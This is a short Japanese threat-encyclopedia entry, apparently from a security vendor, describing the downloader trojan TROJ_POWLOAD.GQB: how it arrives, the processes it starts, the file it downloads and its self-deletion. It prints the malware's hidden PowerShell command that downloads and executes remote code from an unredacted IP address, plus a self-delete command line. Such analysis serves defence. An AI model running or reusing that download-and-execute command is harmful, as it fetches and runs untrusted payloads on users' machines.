TROJ_POWLOAD.GQB

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。

マルウェアは、実行後、自身を削除します。

侵入方法

その他は、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

その他は、以下のプロセスを追加します。

• powershell.exe -nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://5.39.218.205/logo.png') - downloads a component file
• cmd.exe /c ping -n 1 -w 2000 192.168.123.254 > nul & del {malware path and filename}.exe
• rundll32 {TROJ_SWORT.VSYB - resides in memory}

ダウンロード活動

その他は、以下のWebサイトにアクセスし、ファイルをダウンロードします。

• http://{BLOCKED}.{BLOCKED}.218.205/logo.png

トレンドマイクロの製品では、ダウンロードしたファイルを以下として検出します。

• TROJ_PLASTI.A

その他は、ダウンロードしたファイルを実行します。

その他

その他は、実行後、自身を削除します。